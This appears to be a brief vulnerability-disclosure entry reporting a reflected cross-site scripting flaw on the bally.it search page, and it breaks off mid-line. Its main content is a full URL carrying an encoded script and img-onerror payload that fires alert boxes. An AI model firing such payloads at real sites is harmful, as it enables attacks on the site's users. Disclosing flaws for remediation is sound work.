bally.it XSS vulnerability

Vulnerable URL: http://www.bally.it/itit/cerca?q=%27%3E%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28String.fromCharCode%2888%2C83%2C83%2C80%2C79%2C83%2C69%2C68%29%29%3E%3Cimg+src%3Dx+onerror%3Dalert%28%27XSSPOSED%27%29%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29%3B%3C%2Fscript%3E Details: Description| Valu...